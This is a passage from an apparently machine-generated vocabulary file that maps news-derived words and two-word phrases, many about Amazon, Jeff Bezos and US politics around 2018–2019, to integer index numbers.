\"wrote dec\": 54922,\n  \"onitself\": 54923,\n  \"predicts\": 54924,\n  \"sabotaging\": 54925,\n  \"revive president\": 54926,\n  \"queen anne\": 54927,\n  \"pulled acosta\": 54928,\n  \"airlines including\": 54929,\n  \"civilisation\": 54930,\n  \"international economic\": 54931,\n  \"miracle comedy\": 54932,\n  \"vacations\": 54933,\n  \"usually starts\": 54934,\n  \"old pastures\": 54935,\n  \"native president\": 54936,\n  \"hours cut\": 54937,\n  \"centers declared\": 54938,\n  \"numerous progressive\": 54939,\n  \"money marketwatch\": 54940,\n  \"fdr drive\": 54941,\n  \"story adelsons\": 54942,\n  \"potential solutions\": 54943,\n  \"tesla continued\": 54944,\n  \"descent photo\": 54945,\n  \"setfirstvideoincollection currentvideocollection\": 54946,\n  \"individual situations\": 54947,\n  \"grocery service\": 54948,\n  \"inverted new\": 54949,\n  \"renewable\": 54950,\n  \"improperly vermont\": 54951,\n  \"company passed\": 54952,\n  \"baker peterbakernyt\": 54953,\n  \"market biedex\": 54954,\n  \"philip wegmann\": 54955,\n  \"sparkling waters\": 54956,\n  \"crash doubtful\": 54957,\n  \"waiting\": 54958,\n  \"humanity farther\": 54959,\n  \"web begin\": 54960,\n  \"nuptial agreement\": 54961,\n  \"darby\": 54962,\n  \"words amazon\": 54963,\n  \"wants troops\": 54964,\n  \"ny supreme\": 54965,\n  \"credit tied\": 54966,\n  \"price plunging\": 54967,\n  \"brim\": 54968,\n  \"marco borges\": 54969,\n  \"covering ivanka\": 54970,\n  \"possible competition\": 54971,\n  \"global event\": 54972,\n  \"defense spokeswoman\": 54973,\n  \"lead companies\": 54974,\n  \"cary sinise\": 54975,\n  \"government incentives\": 54976,\n  \"affairs staffer\": 54977,\n  \"government bond\": 54978,\n  \"sybil\": 54979,\n  \"palantir controversial\": 54980,\n  \"taken won\": 54981,\n  \"takes hilarious\": 54982,\n  \"conditions ticked\": 54983,\n  \"mannerisms\": 54984,\n  \"encompassing cronyism\": 54985,\n  \"saying dent\": 54986,\n  \"introduced shocking\": 54987,\n  \"day routs\": 54988,\n  \"capacity based\": 54989,\n  \"000 burned\": 54990,\n  \"hop\": 54991,\n  \"turned documentarian\": 54992,\n  \"kim rocketman\": 54993,\n  \"completely disinterested\": 54994,\n  \"woman reporter\": 54995,\n  \"genomic testing\": 54996,\n  \"deep understanding\": 54997,\n  \"mquznfbced\": 54998,\n  \"particularly significant\": 54999,\n  \"tim roache\": 55000,\n  \"plan jay\": 55001,\n  \"collette\": 55002,\n  \"markles central\": 55003,\n  \"typeof gigyashareelement\": 55004,\n  \"victim intent\": 55005,\n  \"years worth\": 55006,\n  \"guide sellers\": 55007,\n  \"greed sold\": 55008,\n  \"dive reveals\": 55009,\n  \"2018 girl\": 55010,\n  \"funeral\": 55011,\n  \"flashlight\": 55012,\n  \"foods derived\": 55013,\n  \"000 trust\": 55014,\n  \"amazon applied\": 55015,\n  \"endorsing\": 55016,\n  \"voting states\": 55017,\n  \"manager corey\": 55018,\n  \"israel closely\": 55019,\n  \"flegenheimer\": 55020,\n  \"opportunity seeking\": 55021,\n  \"effectively subsidising\": 55022,\n  \"zijn\": 55023,\n  \"success imageurl\": 55024,\n  \"attorney austin\": 55025,\n  \"realtors dropped\": 55026,\n  \"bezos proclaimed\": 55027,\n  \"solutions mijente\": 55028,\n  \"america airports\": 55029,\n  \"unusual actions\": 55030,\n  \"peaceful existence\": 55031,\n  \"amazon backing\": 55032,\n  \"putting local\": 55033,\n  \"khoon\": 55034,\n  \"print copies\": 55035,\n  \"extremely concerning\": 55036,\n  \"sulzberger took\": 55037,\n  \"utility reuters\": 55038,\n  \"alexa tell\": 55039,\n  \"ceo forum\": 55040,\n  \"recent cardinal\": 55041,\n  \"uscis failed\": 55042,\n  \"loyalist breaking\": 55043,\n  \"corporate\": 55044,\n  \"metapack shippingeasy\": 55045,\n  \"apple 949\": 55046,\n  \"cheapest\": 55047,\n  \"aryan\": 55048,\n  \"ensure transparency\": 55049,\n  \"career jeff\": 55050,\n  \"strain visit\": 55051,\n  \"hotels sporting\": 55052,\n  \"srk interview\": 55053,\n  \"chain raw\": 55054,\n  \"spend year\": 55055,\n  \"ford attractive\": 55056,\n  \"stevenson\": 55057,\n  \"kraft washington\": 55058,\n  \"book dow\": 55059,\n  \"usps workshare\": 55060,\n  \"privilege working\": 55061,\n  \"work computer\": 55062,\n  \"courtiers\": 55063,\n  \"carell amazon\": 55064,\n  \"federal aid\": 55065,\n  \"daughter clothing\": 55066,\n  \"successes\": 55067,\n  \"continued profit\": 55068,\n  \"right donald\": 55069,\n  \"new opportunities\": 55070,\n  \"longtime employee\": 55071,\n  \"ronna\": 55072,\n  \"vt publicly\": 55073,\n  \"fbi thank\": 55074,\n  \"dominion energy\": 55075,\n  \"horsemen\": 55076,\n  \"twitter statements\": 55077,\n  \"2018 coming\": 55078,\n  \"tornadoes minutes\": 55079,\n  \"note markets\": 55080,\n  \"boycottwalmart shaun\": 55081,\n  \"wateraid\": 55082,\n  \"reeves 415\": 55083,\n  \"city opportunity\": 55084,\n  \"matter drop\": 55085,\n  \"chicago detectives\": 55086,\n  \"melville\": 55087,\n  \"jobs averaging\": 55088,\n  \"bruce bochy\": 55089,\n  \"determined look\": 55090,\n  \"protection monitoring\": 55091,\n  \"stephanie graegin\": 55092,\n  \"helmet distinction\": 55093,\n  \"693 million\": 55094,\n  \"raytheon\": 55095,\n  \"new zealand\": 55096,\n  \"remedy\": 55097,\n  \"perform\": 55098,\n  \"truck bonnie\": 55099,\n  \"rain coats\": 55100,\n  \"melchiorre melchiorre\": 55101,\n  \"initiated\": 55102,\n  \"convoluted\": 55103,\n  \"row development\": 55104,\n  \"109 104\": 55105,\n  \"day gawande\": 55106,\n  \"telling lies\": 55107,\n  \"devastating new\": 55108,\n  \"comically\": 55109,\n  \"beloved author\": 55110,\n  \"signuppage\": 55111,\n  \"wife contributed\": 55112,\n  \"officials want\": 55113,\n  \"road choice\": 55114,\n  \"provide services\": 55115,\n  \"amazon additionally\": 55116,\n  \"panama nyt\": 55117,\n  \"000 years\": 55118,\n  \"obtained market\": 55119,\n  \"pick\": 55120,\n  \"delays deploying\": 55121,\n  \"removal\": 55122,\n  \"payoff reports\": 55123,\n  \"tj\": 55124,\n  \"community pages\": 55125,\n  \"representative way\": 55126,\n  \"eastern kingdom\": 55127,\n  \"bloomberg won\": 55128,\n  \"density nutrition\": 55129,\n  \"dean kamen\": 55130,\n  \"undeliverable\": 55131,\n  \"shelby county\": 55132,\n  \"manhattan brooklyn\": 55133,\n  \"sotheby christie\": 55134,\n  \"enriches\": 55135,\n  \"certainly reflects\": 55136,\n  \"fairly balanced\": 55137,\n  \"refugee camps\": 55138,\n  \"immigration news\": 55139,\n  \"kafka esque\": 55140,\n  \"trade negotiators\": 55141,\n  \"lina\": 55142,\n  \"row\": 55143,\n  \"vitiello life\": 55144,\n  \"moscow news\": 55145,\n  \"krauthammer reaction\": 55146,\n  \"collar\": 55147,\n  \"collective good\": 55148,\n  \"press bauer\": 55149,\n  \"cig ban\": 55150,\n  \"chicago season\": 55151,\n  \"prime schiff\": 55152,\n  \"immediately sell\": 55153,\n  \"urge\": 55154,\n  \"dating sanchez\": 55155,\n  \"8217 interests\": 55156,\n  \"juma ahmad\": 55157,\n  \"development putting\": 55158,\n  \"reynolds\": 55159,\n  \"feature starts\": 55160,\n  \"inc_feature_image_background_color_override null\": 55161,\n  \"panned 2018\": 55162,\n  \"practice remains\": 55163,\n  \"followers pointed\": 55164,\n  \"ben smith\": 55165,\n  \"adding raft\": 55166,\n  \"market hasn\": 55167,\n  \"showspinner containerid\": 55168,\n  \"direct construction\": 55169,\n  \"amazon fame\": 55170,\n  \"line marketplaces\": 55171,\n  \"rae looks\": 55172,\n  \"retail locations\": 55173,\n  \"declaration looms\": 55174,\n  \"toronto residents\": 55175,\n  \"recipients list\": 55176,\n  \"times pelosi\": 55177,\n  \"comments marked\": 55178,\n  \"853 3661\": 55179,\n  \"editorial advertising\": 55180,\n  \"shoulder business\": 55181,\n  \"depth conversations\": 55182,\n  \"delayed construction\": 55183,\n  \"governments amazon\": 55184,\n  \"wireimage beverly\": 55185,\n  \"included treasury\": 55186,\n  \"twitter russiagate\": 55187,\n  \"racial bias\": 55188,\n  \"hero sure\": 55189,\n  \"tarp\": 55190,\n  \"dangerous president\": 55191,\n  \"revenues continue\": 55192,\n  \"month bezos\": 55193,\n  \"chorus\": 55194,\n  \"concurrently\": 55195,\n  \"gibraltar\": 55196,\n  \"comment encouraging\": 55197,\n  \"khan brought\": 55198,\n  \"officials promised\": 55199,\n  \"jeff goldblum\": 55200,\n  \"nonnegotiable items\": 55201,\n  \"independent journalist\": 55202,\n  \"century company\": 55203,\n  \"rapho\": 55204,\n  \"pharmaceuticals misled\": 55205,\n  \"hydroelectric power\": 55206,\n  \"unprecedented lawsuit\": 55207,\n  \"flipboard linkedin\": 55208,\n  \"connects millions\": 55209,\n  \"search amazon\": 55210,\n  \"revolutionaries\": 55211,\n  \"index places\": 55212,\n  \"employee wrote\": 55213,\n  \"far pen\": 55214,\n  \"stock buybacks\": 55215,\n  \"stopping short\": 55216,\n  \"coincidence china\": 55217,\n  \"keyboards\": 55218,\n  \"cooperation jedi\": 55219,\n  \"pirro personal\": 55220,\n  \"preorders stable\": 55221,\n  \"expensive high\": 55222,\n  \"sent 765\": 55223,\n  \"cornaga\": 55224,\n  \"ken paxton\": 55225,\n  \"roraima state\": 55226,\n  \"better idea\": 55227,\n  \"budget powers\": 55228,\n  \"smuggling jussie\": 55229,\n  \"provost florida\": 55230,\n  \"probably distant\": 55231,\n  \"famous billionaires\": 55232,\n  \"beast talked\": 55233,\n  \"crucial\": 55234,\n  \"source guardian\": 55235,\n  \"claim punitive\": 55236,\n  \"billionaire yusaku\": 55237,\n  \"traffic congestion\": 55238,\n  \"global reputation\": 55239,\n  \"logistical\": 55240,\n  \"hands walmart\": 55241,\n  \"people caravan\": 55242,\n  \"enquirer featuring\": 55243,\n  \"producing\": 55244,\n  \"port\": 55245,\n  \"trump maybe\": 55246,\n  \"oracle revealed\": 55247,\n  \"election puts\": 55248,\n  \"operating television\": 55249,\n  \"ad supported\": 55250,\n  \"sees slight\": 55251,\n  \"trees stand\": 55252,\n  \"field related\": 55253,\n  \"array\": 55254,\n  \"involved foxconn\": 55255,\n  \"mexico central\": 55256,\n  \"biography\": 55257,\n  \"defective\": 55258,\n  \"51st state\": 55259,\n  \"radical resistance\": 55260,\n  \"neighbors yes\": 55261,\n  \"spent months\": 55262,\n  \"perry ronna\": 55263,\n  \"ra\": 55264,\n  \"world beleived\": 55265,\n  \"scenario mounting\": 55266,\n  \"amazon wild\": 55267,\n  \"diverse group\": 55268,\n  \"rajesh subramaniam\": 55269,\n  \"start small\": 55270,\n  \"parul choksi\": 55271,\n  \"president chairman\": 55272,\n  \"murphy reports\": 55273,\n  \"just posturing\": 55274,\n  \"stuff doesn\": 55275,\n  \"massive investigation\": 55276,\n  \"taxpayers protection\": 55277,\n  \"ssoper\": 55278,\n  \"newest try\": 55279,\n  \"presenter lauren\": 55280,\n  \"tirement\": 55281,\n  \"modifies\": 55282,\n  \"later bloomberg\": 55283,\n  \"millennials think\": 55284,\n  \"actively team\": 55285,\n  \"completely\": 55286,\n  \"prices improved\": 55287,\n  \"clinton donald\": 55288,\n  \"alphabet lost\": 55289,\n  \"political anguish\": 55290,\n  \"investing thousands\": 55291,\n  \"threaten rise\": 55292,\n  \"spending trends\": 55293,\n  \"movie set\": 55294,\n  \"innately\": 55295,\n  \"given amazon\": 55296,\n  \"billion meaning\": 55297,\n  \"climate control\": 55298,\n  \"pruitt\": 55299,\n  \"deus\": 55300,\n  \"right bernie\": 55301,\n  \"dark comedy\": 55302,\n  \"chubb\": 55303,\n  \"algae called\": 55304,\n  \"holiday amazon\": 55305,\n  \"2017 32nd\": 55306,\n  \"otter raiser\": 55307,\n  \"historical past\": 55308,\n  \"know iras\": 55309,\n  \"wizards ted\": 55310,\n  \"attention benzinga\": 55311,\n  \"erin burnett\": 55312,\n  \"frazier global\": 55313,\n  \"a45\": 55314,\n  \"changed van\": 55315,\n  \"educational content\": 55316,\n  \"shifts\": 55317,\n  \"amazon mix\": 55318,\n  \"scale brian\": 55319,\n  \"cinemark holdings\": 55320,\n  \"glancing way\": 55321,\n  \"additional benefits\": 55322,\n  \"hey maybe\": 55323,\n  \"poor neighborhood\": 55324,\n  \"combination risks\": 55325,\n  \"cavazos volunteer\": 55326,\n  \"biotech think\": 55327,\n  \"hands gaga\": 55328,\n  \"mss\": 55329,\n  \"volley\": 55330,\n  \"groups compete\": 55331,\n  \"premier reassures\": 55332,\n  \"dingell remembered\": 55333,\n  \"night trump\": 55334,\n  \"provides tools\": 55335,\n  \"replaced general\": 55336,\n  \"available tools\": 55337,\n  \"announced goals\": 55338,\n  \"post davidson\": 55339,\n  \"strausman\": 55340,\n  \"current narrow\": 55341,\n  \"mob determined\": 55342,\n  \"ignited\": 55343,\n  \"china talks\": 55344,\n  \"fantasized link\": 55345,\n  \"upcoming wisconsin\": 55346,\n  \"accepted enterprise\": 55347,\n  \"republican arizona\": 55348,\n  \"filings govpredict\": 55349,\n  \"asked workers\": 55350,\n  \"uber disclosure\": 55351,\n  \"systems agency\": 55352,\n  \"proved severe\": 55353,\n  \"kabc\": 55354,\n  \"marc gasol\": 55355,\n  \"queens thrive\": 55356,\n  \"thieves clear\": 55357,\n  \"manhattan needs\": 55358,\n  \"logistical problem\": 55359,\n  \"nadler\": 55360,\n  \"corporate drive\": 55361,\n  \"hq2 winners\": 55362,\n  \"170\": 55363,\n  \"bozo\": 55364,\n  \"trump want\": 55365,\n  \"sketch ends\": 55366,\n  \"\\u0430knocked\\u0430 fear\": 55367,\n  \"186\": 55368,\n  \"economically struggling\": 55369,\n  \"sanchez media\": 55370,\n  \"carole\": 55371,\n  \"originally published\": 55372,\n  \"chinese social\": 55373,\n  \"calmed\": 55374,\n  \"prostitution\": 55375,\n  \"jpg 1230x1672\": 55376,\n  \"congress daniel\": 55377,\n  \"workplace misconduct\": 55378,\n  \"wealthy merchant\": 55379,\n  \"soy away\": 55380,\n  \"modest slowdown\": 55381,\n  \"sweet spot\": 55382,\n  \"significant downside\": 55383,\n  \"complaints amazon\": 55384,\n  \"activists immediately\": 55385,\n  \"newyork longislandcity\": 55386,\n  \"broader vision\": 55387,\n  \"cameras lots\": 55388,\n  \"outlasted trump\": 55389,\n  \"increase tariffs\": 55390,\n  \"terrible timing\": 55391,\n  \"city limits\": 55392,\n  \"market analysis\": 55393,\n  \"arguably fueling\": 55394,\n  \"endorses\": 55395,\n  \"earnings explode\": 55396,\n  \"pour gasoline\": 55397,\n  \"year economic\": 55398,\n  \"foreign workers\": 55399,\n  \"trade agreement\": 55400,\n  \"definitely help\": 55401,\n  \"environmentalists point\": 55402,\n  \"russian autocrat\": 55403,\n  \"announcement surprised\": 55404,\n  \"economic ineptitude\": 55405,\n  \"gulftimes\": 55406,\n  \"secured jokes\": 55407,\n  \"darcy cnn\": 55408,\n  \"comment\": 55409,\n  \"names trading\": 55410,\n  \"981 000\": 55411,\n  \"subsequently confirmed\": 55412,\n  \"certainly good\": 55413,\n  \"2006 bezos\": 55414,\n  \"irs limitations\": 55415,\n  \"oklahoma\": 55416,\n  \"midsize manufacturers\": 55417,\n  \"halbert hargrove\": 55418,\n  \"mcmaster\": 55419,\n  \"hrs\": 55420,\n  \"dipping\": 55421,\n  \"deal especially\": 55422,\n  \"virginia job\": 55423,\n  \"best subscription\": 55424,\n  \"pletz\": 55425,\n  \"significant competition\": 55426,\n  \"fcc created\": 55427,\n  \"data brokers\": 55428,\n  \"summit despite\": 55429,\n  \"cta share\": 55430,\n  \"investor worries\": 55431,\n  \"deal works\": 55432,\n  \"directives\": 55433,\n  \"similar merchandise\": 55434,\n  \"staffer\": 55435,\n  \"alibaba investments\": 55436,\n  \"sessions trump\": 55437,\n  \"score\": 55438,\n  \"service funds\": 55439,\n  \"stop building\": 55440,\n  \"dhillon\": 55441,\n  \"ongoing chapter\": 55442,\n  \"republicans democrats\": 55443,\n  \"suddenly\": 55444,\n  \"su\": 55445,\n  \"local socialists\": 55446,\n  \"web page\": 55447,\n  \"glor\": 55448,\n  \"care bezos\": 55449,\n  \"journal data\": 55450,\n  \"showed overwhelmingly\": 55451,\n  \"outwardly\": 55452,\n  \"obama separating\": 55453,\n  \"women earn\": 55454,\n  \"protection agency\": 55455,\n  \"restrictions\": 55456,\n  \"opinion bopinion\": 55457,\n  \"upcoming treasury\": 55458,\n  \"feld senior\": 55459,\n  \"kurtbardella\": 55460,\n  \"favorable rate\": 55461,\n  \"tortures\": 55462,\n  \"furniture lifting\": 55463,\n  \"missed thanksgiving\": 55464,\n  \"public persona\": 55465,\n  \"michael murphy\": 55466,\n  \"amazon declared\": 55467,\n  \"coffee consumption\": 55468,\n  \"possible unmasking\": 55469,\n  \"profit centre\": 55470,\n  \"isn true\": 55471,\n  \"twitter repeatedly\": 55472,\n  \"ted diadiun\": 55473,\n  \"chip pricing\": 55474,\n  \"scoreboard dow\": 55475,\n  \"maura thanks\": 55476,\n  \"government summit\": 55477,\n  \"laxalt\": 55478,\n  \"website search\": 55479,\n  \"digital conference\": 55480,\n  \"suffer hit\": 55481,\n  \"medium plus\": 55482,\n  \"adviser continue\": 55483,\n  \"hasn disclosed\": 55484,\n  \"joann\": 55485,\n  \"peyton\": 55486,\n  \"greater economic\": 55487,\n  \"strongly criticised\": 55488,\n  \"store tire\": 55489,\n  \"wrong night\": 55490,\n  \"intelligence ai\": 55491,\n  \"police arrived\": 55492,\n  \"hacked think\": 55493,\n  \"paid services\": 55494,\n  \"site pakistani\": 55495,\n  \"story scott\": 55496,\n  \"main reason\": 55497,\n  \"sum people\": 55498,\n  \"2018 double\": 55499,\n  \"monopoly flood\": 55500,\n  \"content agency\": 55501,\n  \"doubt music\": 55502,\n  \"stop kavanaugh\": 55503,\n  \"food products\": 55504,\n  \"slave nation\": 55505,\n  \"packable\": 55506,\n  \"packages especially\": 55507,\n  \"fave playerinstance\": 55508,\n  \"homeless task\": 55509,\n  \"sanction waivers\": 55510,\n  \"outlets falsely\": 55511,\n  \"scott mlyn\": 55512,\n  \"nashville elite\": 55513,\n  \"connecttweetlinkedincommentemailmore\": 55514,\n  \"don meet\": 55515,\n  \"ban amazon\": 55516,\n  \"gorilla\": 55517,\n  \"user despite\": 55518,\n  \"wirtschaftswoche\": 55519,\n  \"huateng head\": 55520,\n  \"holy second\": 55521,\n  \"holidays staying\": 55522,\n  \"grownups\\u0430act\\u0430like kids\": 55523,\n  \"showing bezos\": 55524,\n  \"children locked\": 55525,\n  \"isis illegal\": 55526,\n  \"rogue cops\": 55527,\n  \"legacy newspaper\": 55528,\n  \"tally\": 55529,\n  \"coastline\": 55530,\n  \"segments\": 55531,\n  \"cn 1iq5vw0\": 55532,\n  \"warren democrat\": 55533,\n  \"incumbent lieutenant\": 55534,\n  \"leaves jeff\": 55535,\n  \"economic transformation\": 55536,\n  \"customers rapidly\": 55537,\n  \"istandwithtrump\": 55538,\n  \"challenge world\": 55539,\n  \"million net\": 55540,\n  \"ticket jared\": 55541,\n  \"tactics tools\": 55542,\n  \"molson\": 55543,\n  \"crosstalk bolduan\": 55544,\n  \"mailers\": 55545,\n  \"television series\": 55546,\n  \"watch north\": 55547,\n  \"takeoff begin\": 55548,\n  \"consecutive year\": 55549,\n  \"album\": 55550,\n  \"fees brennan\": 55551,\n  \"fight sexual\": 55552,\n  \"disclosure form\": 55553,\n  \"user described\": 55554,\n  \"skipping bathroom\": 55555,\n  \"supporting american\": 55556,\n  \"hurt sales\": 55557,\n  \"hurdles max\": 55558,\n  \"confounding\": 55559,\n  \"fryer explains\": 55560,\n  \"china retaliation\": 55561,\n  \"enquirer broke\": 55562,\n  \"psychologist\": 55563,\n  \"trademark portfolio\": 55564,\n  \"assuming conservative\": 55565,\n  \"amazon virtual\": 55566,\n  \"marketing programs\": 55567,\n  \"history following\": 55568,\n  \"important ways\": 55569,\n  \"ephron work\": 55570,\n  \"balky\": 55571,\n  \"hottovy\": 55572,\n  \"manager risk\": 55573,\n  \"nationwide grocery\": 55574,\n  \"enquirer lauren\": 55575,\n  \"russian election\": 55576,\n  \"sbgi\": 55577,\n  \"business won\": 55578,\n  \"group founded\": 55579,\n  \"mont trump\": 55580,\n  \"manipulating governments\": 55581,\n  \"taking close\": 55582,\n  \"payroll\": 55583,\n  \"wallstreetbets\": 55584,\n  \"circular\": 55585,\n  \"cutthroat culture\": 55586,\n  \"195\": 55587,\n  \"corn black\": 55588,\n  \"trump sex\": 55589,\n  \"stars sourcetasos\": 55590,\n  \"pay senator\": 55591,\n  \"employee anonymously\": 55592,\n  \"act expanded\": 55593,\n  \"import million\": 55594,\n  \"alvah\": 55595,\n  \"ovunc\": 55596,\n  \"doorstep geekwire\": 55597,\n  \"world noah\": 55598,\n  \"soft landings\": 55599,\n  \"personally\": 55600,\n  \"complicated national\": 55601,\n  \"home strongly\": 55602,\n  \"booster\": 55603,\n  \"core theme\": 55604,\n  \"overpopulation\": 55605,\n  \"eisen right\": 55606,\n  \"skincare\": 55607,\n  \"spoiler alert\": 55608,\n  \"seattle washington\": 55609,\n  \"industry today\": 55610,\n  \"amazon tell\": 55611,\n  \"smart devices\": 55612,\n  \"free services\": 55613,\n  \"jbauer\": 55614,\n  \"doubt ryan\": 55615,\n  \"comments bmw\": 55616,\n  \"allowing competitors\": 55617,\n  \"nancy permission\": 55618,\n  \"playbook new\": 55619,\n  \"employment prospects\": 55620,\n  \"trickling\": 55621,\n  \"origins slotting\": 55622,\n  \"recommend unrecommend\": 55623,\n  \"expansion pack\": 55624,\n  \"finish tara\": 55625,\n  \"stock futures\": 55626,\n  \"metapack results\": 55627,\n  \"236\": 55628,\n  \"past controls\": 55629,\n  \"killer don\": 55630,\n  \"seeking personal\": 55631,\n  \"patricia stonesifer\": 55632,\n  \"confusing security\": 55633,\n  \"government takeover\": 55634,\n  \"near hyak\": 55635,\n  \"new lawmakers\": 55636,\n  \"project photo\": 55637,\n  \"trashing amazon\": 55638,\n  \"change rainforest\": 55639,\n  \"challenging race\": 55640,\n  \"pay fare\": 55641,\n  \"doing amazon\": 55642,\n  \"bij\": 55643,\n  \"120 autostartvideo\": 55644,\n  \"separation amazon\": 55645,\n  \"corporate accountability\": 55646,\n  \"ideological interference\": 55647,\n  \"twitter wrote\": 55648,\n  \"products shipped\": 55649,\n  \"jobs nationwide\": 55650,\n  \"buy bezos\": 55651,\n  \"best bang\": 55652,\n  \"new mom\": 55653,\n  \"level\": 55654,\n  \"york told\": 55655,\n  \"market narrow\": 55656,\n  \"lifestyle health\": 55657,\n  \"department reached\": 55658,\n  \"brkb\": 55659,\n  \"previous management\": 55660,\n  \"awkward vote\": 55661,\n  \"2016 dust\": 55662,\n  \"deliveries increased\": 55663,\n  \"070\": 55664,\n  \"souza widely\": 55665,\n  \"support jeff\": 55666,\n  \"kovic\": 55667,\n  \"duck term\": 55668,\n  \"spalding\": 55669,\n  \"arrange election\": 55670,\n  \"clueless\": 55671,\n  \"eldest\": 55672,\n  \"wisconsin center\": 55673,\n  \"smartphone shop\": 55674,\n  \"moonves general\": 55675,\n  \"mounting concerns\": 55676,\n  \"alesco advsrs\": 55677,\n  \"personal assistant\": 55678,\n  \"service gives\": 55679,\n  \"generates\": 55680,\n  \"peter tuz\": 55681,\n  \"giant receives\": 55682,\n  \"force congress\": 55683,\n  \"cap second\": 55684,\n  \"individual journalists\": 55685,\n  \"concerns macron\": 55686,\n  \"village\": 55687,\n  \"growing healthcare\": 55688,\n  \"data breached\": 55689,\n  \"personal demand\": 55690,\n  \"lewinsky\": 55691,\n  \"pharmacy space\": 55692,\n  \"wealthy elite\": 55693,\n  \"sensitive information\": 55694,\n  \"person fall\": 55695,\n  \"million commitment\": 55696,\n  \"weekday evening\": 55697,\n  \"products offered\": 55698,\n  \"russians colluded\": 55699,\n  \"minors trump\": 55700,\n  \"best performing\": 55701,\n  \"second divorce\": 55702,\n  \"merchandised\": 55703,\n  \"0kkv8cxsoo mark\": 55704,\n  \"girth begs\": 55705,\n  \"huawei narrative\": 55706,\n  \"tm hurt\": 55707,\n  \"karlis\": 55708,\n  \"meeting stock\": 55709,\n  \"historic growth\": 55710,\n  \"alan greenspan\": 55711,\n  \"violence hias\": 55712,\n  \"points contract\": 55713,\n  \"spookiest day\": 55714,\n  \"important victories\": 55715,\n  \"guy huge\": 55716,\n  \"yeah caller\": 55717,\n  \"zonar washington\": 55718,\n  \"virginia rumored\": 55719,\n  \"gerber gerberkawasaki\": 55720,\n  \"david faber\": 55721,\n  \"land hq2\": 55722,\n  \"star lebron\": 55723,\n  \"medical bills\": 55724,\n  \"haitian\": 55725,\n  \"policy drone\": 55726,\n  \"items agcom\": 55727,\n  \"practices calling\": 55728,\n  \"bezos tweeted\": 55729,\n  \"bridis corroborated\": 55730,\n  \"reuters cartoon\": 55731,\n  \"affirmative action\": 55732,\n  \"restaurant shaub\": 55733,\n  \"8m\": 55734,\n  \"called troubling\": 55735,\n  \"people dislike\": 55736,\n  \"tl transportation\": 55737,\n  \"squalid\": 55738,\n  \"revenue forecast\": 55739,\n  \"drug fails\": 55740,\n  \"kept\": 55741,\n  \"powerful organizations\": 55742,\n  \"credit agreement\": 55743,\n  \"sensible gun\": 55744,\n  \"catalog similar\": 55745,\n  \"published accenture\": 55746,\n  \"bezos north\": 55747,\n  \"suny\": 55748,\n  \"chef journey\": 55749,\n  \"msx6a1vvz0\": 55750,\n  \"business daily\": 55751,\n  \"chia\": 55752,\n  \"packages deemed\": 55753,\n  \"says crackedmarket\": 55754,\n  \"nasir khan\": 55755,\n  \"objectively assessed\": 55756,\n  \"delrahim previously\": 55757,\n  \"getting massive\": 55758,\n  \"traditional methods\": 55759,\n  \"goncourt\": 55760,\n  \"speech investors\": 55761,\n  \"numbers good\": 55762,\n  \"story 200\": 55763,\n  \"bannertext bannerhasatag\": 55764,\n  \"land usps\": 55765,\n  \"bezos independent\": 55766,\n  \"house 2018\": 55767,\n  \"new orleans\": 55768,\n  \"soon trump\": 55769,\n  \"new moms\": 55770,\n  \"releases section\": 55771,\n  \"pedophile priests\": 55772,\n  \"claim activists\": 55773,\n  \"estate business\": 55774,\n  \"worthy companies\": 55775,\n  \"brantley nov\": 55776,\n  \"shipment capacity\": 55777,\n  \"ehrat\": 55778,\n  \"fy19\": 55779,\n  \"danielle walker\": 55780,\n  \"make vital\": 55781,\n  \"rapidly divert\": 55782,\n  \"independent news\": 55783,\n  \"costliest divorce\": 55784,\n  \"dark photo\": 55785,\n  \"obviously meant\": 55786,\n  \"builders\": 55787,\n  \"sues anheuser\": 55788,\n  \"packed\": 55789,\n  \"enquirer sees\": 55790,\n  \"eduardo simoes\": 55791,\n  \"kya\": 55792,\n  \"khashoggi left\": 55793,\n  \"vodafone\": 55794,\n  \"sister ayoola\": 55795,\n  \"banking today\": 55796,\n  \"30s\": 55797,\n  \"cites security\": 55798,\n  \"press reported\": 55799,\n  \"transfixed\": 55800,\n  \"massages\": 55801,\n  \"cnl_filelocation wire\": 55802,\n  \"oncontententryload\": 55803,\n  \"bloomberg google\": 55804,\n  \"amazon package\": 55805,\n  \"european demand\": 55806,\n  \"gasoline economic\": 55807,\n  \"distinctive hairdo\": 55808,\n  \"lauren pires\": 55809,\n  \"sexism racism\": 55810,\n  \"investigate jeff\": 55811,\n  \"long don\": 55812,\n  \"kristol seth\": 55813,\n  \"joel\": 55814,\n  \"amazon mistreats\": 55815,\n  \"toronto offers\": 55816,\n  \"studies told\": 55817,\n  \"trump held\": 55818,\n  \"thing politicians\": 55819,\n  \"comptemptext\": 55820,\n  \"wage huntington\": 55821,\n  \"complained amazon\": 55822,\n  \"german wheat\": 55823,\n  \"relations team\": 55824,\n  \"necessarily meant\": 55825,\n  \"people living\": 55826,\n  \"runs platform\": 55827,\n  \"second message\": 55828,\n  \"worker delivers\": 55829,\n  \"state initiative\": 55830,\n  \"think rathner\": 55831,\n  \"drug trafficking\": 55832,\n  \"charred\": 55833,\n  \"outright fraud\": 55834,\n  \"calif schwarzenegger\": 55835,\n  \"walmart nipping\": 55836,\n  \"relations sec\": 55837,\n  \"relative position\": 55838,\n  \"insider\": 55839,\n  \"koch network\": 55840,\n  \"equivalent ratings\": 55841,\n  \"weber solon\": 55842,\n  \"asserts\": 55843,\n  \"oracle ceo\": 55844,\n  \"press protects\": 55845,\n  \"associate editor\": 55846,\n  \"johnson rampant\": 55847,\n  \"enhancements\": 55848,\n  \"competition law\": 55849,\n  \"facebook officials\": 55850,\n  \"urus drives\": 55851,\n  \"speech impediments\": 55852,\n  \"uproot fedex\": 55853,\n  \"anymore pfizer\": 55854,\n  \"quotes silicon\": 55855,\n  \"outlandish\": 55856,\n  \"threatening tariffs\": 55857,\n  \"buy ami\": 55858,\n  \"special ops\": 55859,\n  \"rycroft ap\": 55860,\n  \"steven mcknight\": 55861,\n  \"sellers deal\": 55862,\n  \"promote work\": 55863,\n  \"catholic high\": 55864,\n  \"equal opportunity\": 55865,\n  \"money getting\": 55866,\n  \"donation\": 55867,\n  \"fees imposed\": 55868,\n  \"featured products\": 55869,\n  \"handicaps\": 55870,\n  \"quarterly highlights\": 55871,\n  \"withhold access\": 55872,\n  \"von\": 55873,\n  \"major firms\": 55874,\n  \"remarks\": 55875,\n  \"closely connected\": 55876,\n  \"investment services\": 55877,\n  \"present speak\": 55878,\n  \"ideological\": 55879,\n  \"engineer program\": 55880,\n  \"perfectly observed\": 55881,\n  \"distinguishing amazon\": 55882,\n  \"helped lower\": 55883,\n  \"just feel\": 55884,\n  \"president suharto\": 55885,\n  \"nfl 